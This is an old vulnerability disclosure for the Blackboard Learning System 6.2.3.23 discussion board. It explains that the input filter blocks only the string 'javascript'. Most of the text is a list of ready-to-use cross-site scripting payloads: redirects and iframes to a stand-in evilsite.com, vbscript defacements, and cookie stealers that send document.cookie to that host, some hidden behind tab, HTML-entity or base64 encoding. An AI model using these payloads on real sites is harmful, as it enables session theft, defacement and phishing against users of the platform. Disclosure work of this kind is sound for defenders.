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BlackBoard Multiple Vulnerabilities (XSS)



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Found by: PrOtOn & digi7al64

Date: May 20th 2006

Critical Level: High

Type: Multiple Cross Site Scripting (XSS) vunerabilities


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Software:
Blackboard Learning System (Release 6) Blackboard Learning and Community Portal 
Suite (Release6)-6.2.3.23


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Explanation: You can inject HTML, VB code and or Javascript into specific tags 
to steal 
cookies, deface the site using frame busters or even redirect to external sites 
for phishing purposes. 
If you have limited access, then a simple post into the Discussion Board using 
the right 
tags with the right code (provided below) will execute the vulnerability(ies).


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About:
Blackboards parsing system only checks for the string "javascript", Thus 
vbscript code can be injected at will into tags as well as any versions of 
javascript that uses uncommon syntax (ie tabs encoding etc)

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Vulnerabilities:

Defacement (FrameBuster)
-------------------------
<meta http-equiv="refresh"
content="15;url= http://evilsite.com";>


Defacement (FrameBuster)
-------------------------
<iframe src=" http://evilsite.com"; width=100
height=100></iframe>


Defacement (IE ONLY)
-------------------------
<img src=vbscript:document.write("defaced_by_insane_script_kiddies")>


Defacement (IE ONLY)
-------------------------
<link rel="stylesheet"
href=vbscript:document.write("defaced_by_insane_script_kiddies")>

<img src=vb script:document.write("defaced_by_insane_script_kiddies")>


Cookie Stealer (IE ONLY)
-------------------------

<img
src="vbscript:wintest=window.open(%22http://evilsite.com + 
document.cookie)"style=visibility:hidden/>
<img src="vbscript:window.focus ()"style=visibility:hidden/>
<img src="vbscript: window.close()"style=visibility:hidden/>


Cookie Stealer (IE ONLY)
-------------------------
<link rel="stylesheet"
href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">


Cookie Stealer (Encoded Tab - IE ONLY)
-------------------------
<img
src="jav&#x09;ascript: 
document.images[1].src=%22http://evilsite.com+document.cookie;";<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>


Cookie Stealer (html encoded - IE ONLY)
-------------------------
<img
src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;document.images[1].s
rc=" http://evilsite.com"+document.cookie;'<img
src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>


Cookie Stealer (tabs - IE ONLY)
-------------------------
<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>


Cookie Stealer (body tag with tabs - IE ONLY)
-------------------------
<body background="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;";>


Cookie Stealer (div tag with tabs - IE ONLY)
-------------------------
<div style="background-image: url(jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;)">


Cookie Stealer (firefox)
-------------------------
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">


Cookie Stealer (firefox - click to work)
-------------------------
<a
href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">hmmm</a>
  


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Disclaimer:
Myself or any other person involved with this discovery will not be responsible 
for what you 
do with this information.
Blackboard developers have been contacted by me and a patch has been released 
according to them.


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Shout Outs:
r0xes, criticalsecurity(dot)net, Infowar(dot)com


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Contact:
Pr070n(at)gmail(dot)com
Digi7al64(at)gmail(dot)com


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